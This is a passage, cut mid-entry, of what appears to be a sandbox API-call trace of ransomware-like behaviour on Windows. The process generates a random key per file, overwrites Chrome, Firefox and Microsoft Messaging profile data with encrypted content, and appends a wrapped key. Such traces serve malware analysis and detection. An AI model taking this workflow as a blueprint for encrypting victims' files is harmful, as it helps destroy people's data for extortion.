lpBuffer=0x32ee008*, lpNumberOfBytesRead=0x2e1f9bc*=0x255e, lpOverlapped=0x0) returned 1 [0167.825] SetFilePointer (in: hFile=0x1524, lDistanceToMove=-9566, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.825] WriteFile (in: hFile=0x1524, lpBuffer=0x32f0570*, nNumberOfBytesToWrite=0x255e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x32f0570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x255e, lpOverlapped=0x0) returned 1 [0167.825] SetFilePointer (in: hFile=0x1524, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x255e [0167.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.826] WriteFile (in: hFile=0x1524, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.826] WriteFile (in: hFile=0x1524, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.826] CloseHandle (hObject=0x1524) returned 1 [0167.830] WriteFile (in: hFile=0x152c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.831] CloseHandle (hObject=0x152c) returned 1 [0167.831] WriteFile (in: hFile=0x152c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.832] CloseHandle (hObject=0x152c) returned 1 [0167.833] WriteFile (in: hFile=0x1534, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.834] CloseHandle (hObject=0x1534) returned 1 [0167.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.834] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", dwFileAttributes=0x80) returned 1 [0167.834] ReadFile (in: hFile=0x1534, lpBuffer=0x56ea90, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56ea90*, lpNumberOfBytesRead=0x2e1f9bc*=0x28, lpOverlapped=0x0) returned 1 [0167.835] SetFilePointer (in: hFile=0x1534, lDistanceToMove=-40, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.835] WriteFile (in: hFile=0x1534, lpBuffer=0x56eee0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56eee0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x28, lpOverlapped=0x0) returned 1 [0167.835] SetFilePointer (in: hFile=0x1534, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x28 [0167.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.836] WriteFile (in: hFile=0x1534, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.836] WriteFile (in: hFile=0x1534, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.836] CloseHandle (hObject=0x1534) returned 1 [0167.843] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.843] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0167.843] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", dwFileAttributes=0x80) returned 1 [0167.843] ReadFile (in: hFile=0x1534, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.843] SetFilePointer (in: hFile=0x1534, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.843] WriteFile (in: hFile=0x1534, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.843] SetFilePointer (in: hFile=0x1534, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.844] WriteFile (in: hFile=0x1534, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.844] WriteFile (in: hFile=0x1534, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.845] CloseHandle (hObject=0x1534) returned 1 [0167.847] WriteFile (in: hFile=0x1550, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.848] CloseHandle (hObject=0x1550) returned 1 [0167.848] WriteFile (in: hFile=0x155c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.849] CloseHandle (hObject=0x155c) returned 1 [0167.851] WriteFile (in: hFile=0x155c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.852] CloseHandle (hObject=0x155c) returned 1 [0167.853] WriteFile (in: hFile=0x155c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.853] CloseHandle (hObject=0x155c) returned 1 [0167.868] WriteFile (in: hFile=0x155c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.869] CloseHandle (hObject=0x155c) returned 1 [0167.879] WriteFile (in: hFile=0x155c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.880] CloseHandle (hObject=0x155c) returned 1 [0167.881] WriteFile (in: hFile=0x155c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.882] CloseHandle (hObject=0x155c) returned 1 [0167.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0167.882] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", dwFileAttributes=0x80) returned 1 [0167.882] ReadFile (in: hFile=0x155c, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x1, lpOverlapped=0x0) returned 1 [0167.883] SetFilePointer (in: hFile=0x155c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.883] WriteFile (in: hFile=0x155c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1, lpOverlapped=0x0) returned 1 [0167.883] SetFilePointer (in: hFile=0x155c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1 [0167.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.884] WriteFile (in: hFile=0x155c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.884] WriteFile (in: hFile=0x155c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.884] CloseHandle (hObject=0x155c) returned 1 [0167.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.885] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", dwFileAttributes=0x80) returned 1 [0167.886] ReadFile (in: hFile=0x155c, lpBuffer=0x5e77c0, nNumberOfBytesToRead=0x942, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e77c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x942, lpOverlapped=0x0) returned 1 [0167.891] SetFilePointer (in: hFile=0x155c, lDistanceToMove=-2370, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.891] WriteFile (in: hFile=0x155c, lpBuffer=0x584f18*, nNumberOfBytesToWrite=0x942, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x942, lpOverlapped=0x0) returned 1 [0167.891] SetFilePointer (in: hFile=0x155c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x942 [0167.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.892] WriteFile (in: hFile=0x155c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.892] WriteFile (in: hFile=0x155c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.892] CloseHandle (hObject=0x155c) returned 1 [0167.900] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.900] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0167.900] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0167.900] ReadFile (in: hFile=0x169c, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.900] SetFilePointer (in: hFile=0x169c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.900] WriteFile (in: hFile=0x169c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.900] SetFilePointer (in: hFile=0x169c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.901] WriteFile (in: hFile=0x169c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.902] WriteFile (in: hFile=0x169c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.903] CloseHandle (hObject=0x169c) returned 1 [0167.907] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.907] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0167.907] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0167.907] ReadFile (in: hFile=0x16a0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.907] SetFilePointer (in: hFile=0x16a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.907] WriteFile (in: hFile=0x16a0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.907] SetFilePointer (in: hFile=0x16a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.907] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.908] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.908] WriteFile (in: hFile=0x16a0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.909] WriteFile (in: hFile=0x16a0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.909] CloseHandle (hObject=0x16a0) returned 1 [0167.911] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.911] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0167.911] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage.data", dwFileAttributes=0x80) returned 1 [0167.923] ReadFile (in: hFile=0x16a8, lpBuffer=0x3525020, nNumberOfBytesToRead=0x300c18, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3525020*, lpNumberOfBytesRead=0x2e1f9bc*=0x300c18, lpOverlapped=0x0) returned 1 [0168.064] SetFilePointer (in: hFile=0x16a8, lDistanceToMove=-3148824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.064] WriteFile (in: hFile=0x16a8, lpBuffer=0x383a020*, nNumberOfBytesToWrite=0x300c18, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x383a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x300c18, lpOverlapped=0x0) returned 1 [0168.124] SetFilePointer (in: hFile=0x16a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x300c18 [0168.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.124] WriteFile (in: hFile=0x16a8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.125] WriteFile (in: hFile=0x16a8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.125] CloseHandle (hObject=0x16a8) returned 1 [0168.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.133] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage-ecs.data", dwFileAttributes=0x80) returned 1 [0168.142] ReadFile (in: hFile=0x16a8, lpBuffer=0x352d020, nNumberOfBytesToRead=0x200818, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x200818, lpOverlapped=0x0) returned 1 [0168.308] SetFilePointer (in: hFile=0x16a8, lDistanceToMove=-2099224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.308] WriteFile (in: hFile=0x16a8, lpBuffer=0x3731020*, nNumberOfBytesToWrite=0x200818, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3731020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x200818, lpOverlapped=0x0) returned 1 [0168.348] SetFilePointer (in: hFile=0x16a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x200818 [0168.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.348] WriteFile (in: hFile=0x16a8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.349] WriteFile (in: hFile=0x16a8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.349] CloseHandle (hObject=0x16a8) returned 1 [0168.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0168.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.351] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\RootTools\\roottools.conf", dwFileAttributes=0x80) returned 1 [0168.351] ReadFile (in: hFile=0x30c, lpBuffer=0x56dc90, nNumberOfBytesToRead=0x4b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56dc90*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b, lpOverlapped=0x0) returned 1 [0168.352] SetFilePointer (in: hFile=0x30c, lDistanceToMove=-75, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.352] WriteFile (in: hFile=0x30c, lpBuffer=0x56dd40*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56dd40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b, lpOverlapped=0x0) returned 1 [0168.352] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b [0168.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.352] WriteFile (in: hFile=0x30c, 